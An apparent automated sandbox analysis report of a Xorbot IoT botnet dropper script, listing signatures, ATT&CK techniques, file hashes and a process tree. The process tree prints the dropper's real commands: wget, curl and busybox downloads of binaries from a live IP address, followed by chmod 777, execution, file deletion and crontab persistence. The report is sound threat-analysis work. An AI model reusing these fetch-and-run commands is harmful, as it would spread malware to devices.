xorbot | 0c1a0ababd6c481377018db4947b0ee4d22d820106e7e8932825ef3dc27d704d

Analysis

max time kernel
149s
max time network
160s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/02/2025, 06:22

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General

Target

bins.sh
Size

10KB
MD5

74e19a07a6f06527a755064e902a5b45
SHA1

fdbb2989f0ce113278b0df08ad6b9fdb2f9240b1
SHA256

0c1a0ababd6c481377018db4947b0ee4d22d820106e7e8932825ef3dc27d704d
SHA512

d25e290d64a454f44d950f75a931a00c482517dae81453675ce54d6ec589ccdaca831d2d459b9992859d94bdcbd95c9fe3d888c002311c17ca851ea2659877a3
SSDEEP

192:UttSrhgGIWhWFWYW/W3WBViarAMMICuxTzyhfH2R9Jb7Exdvb7ExdHtTz0fH2R9/:UttSrhgGIWhWFWYW/W3WB6ICukhfH2R9

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1983) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
690	chmod
702	chmod
723	chmod
750	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	692	bins.sh
/tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL	703	bins.sh
/tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy	724	bins.sh
/tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB	752	bins.sh

Renames itself 1 IoCs

pid	Process
753	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.FzkRts	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1011/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1021/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1035/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1041/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1057/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/42/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/659/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/790/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/814/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/919/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/967/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1012/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1066/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/20/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/328/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/982/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1022/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1026/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1040/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1042/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1083/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/654/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/872/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/913/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1000/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1032/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1045/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1079/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1091/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/5/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/22/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/28/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/342/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/800/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/891/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/962/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1023/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/764/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/821/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/908/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/911/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/912/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/925/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1056/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1082/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/3/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/778/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/938/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1107/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/24/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/27/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/847/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1043/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1085/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1117/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1118/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/827/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/894/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/928/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1081/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1113/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/818/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/933/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/964/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	busybox
File opened for modification	/tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL	busybox
File opened for modification	/tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy	curl
File opened for modification	/tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy	busybox
File opened for modification	/tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB	wget
File opened for modification	/tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB	curl
File opened for modification	/tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB	busybox
File opened for modification	/tmp/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H	wget
File opened for modification	/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	wget
File opened for modification	/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	curl
File opened for modification	/tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL	wget
File opened for modification	/tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL	curl
File opened for modification	/tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:660
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:662
- /usr/bin/wget
  wget http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - Writes file to tmp directory
  PID:664
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:681
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - Writes file to tmp directory
  PID:688
- /bin/chmod
  chmod 777 rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  ./rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  PID:692
- /bin/rm
  rm rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  PID:694
- /usr/bin/wget
  wget http://37.44.238.88/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  - Writes file to tmp directory
  PID:695
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:696
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod 777 bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  ./bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  PID:703
- /bin/rm
  rm bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  PID:706
- /usr/bin/wget
  wget http://37.44.238.88/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  2⤵
  - Writes file to tmp directory
  PID:707
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:713
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  2⤵
  - Writes file to tmp directory
  PID:720
- /bin/chmod
  chmod 777 zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  2⤵
  - File and Directory Permissions Modification
  PID:723
- /tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  ./zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  2⤵
  PID:724
- /bin/rm
  rm zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  2⤵
  PID:727
- /usr/bin/wget
  wget http://37.44.238.88/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  2⤵
  - Writes file to tmp directory
  PID:728
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  ./6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:752
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:754
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:755
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:757
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:758
- /bin/rm
  rm 6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  2⤵
  PID:765
- /usr/bin/wget
  wget http://37.44.238.88/bins/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
  2⤵
  - Writes file to tmp directory
  PID:768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H

Filesize
91KB

MD5
25ac527124078b14f90d5eb3cb20ea4f

SHA1
5b0fad64246a62516eb979152faf19ec64d96acb

SHA256
981dc718aff7dba27785be3b1e91b396c72beea359daa62fcbfd49b3b1e62475

SHA512
e876c8122c77cd910b9d48a6b427a81ab86800dd8ec5e26bd7874f9a13488c3e69f85dbcacad7b7e2c36a1121b3db2abb373e0dce89c332908915c271e1cbfa1

Download Submit
/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/var/spool/cron/crontabs/tmp.FzkRts

Filesize
210B

MD5
a902793c8de7d2d8a92c9a3cb80177b7

SHA1
263eb1d215c6677a42ea985e4f2843b2abd5efae

SHA256
eba2ff6df1621f084dc87dca9db587d46d967a6204019d620e49da88e0cae85f

SHA512
3ded042596eef5a05e3c89a0ce27f6db36488564effc9b7600389a094a7e08b0893b01c42c2324cf26b5f6307ede2d49500ec1c60bec19247733f0ffe9b0d1c9

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads